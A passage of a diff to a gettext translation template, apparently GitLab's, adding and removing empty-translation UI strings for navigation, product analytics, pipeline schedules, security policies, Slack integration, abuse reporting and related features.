+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
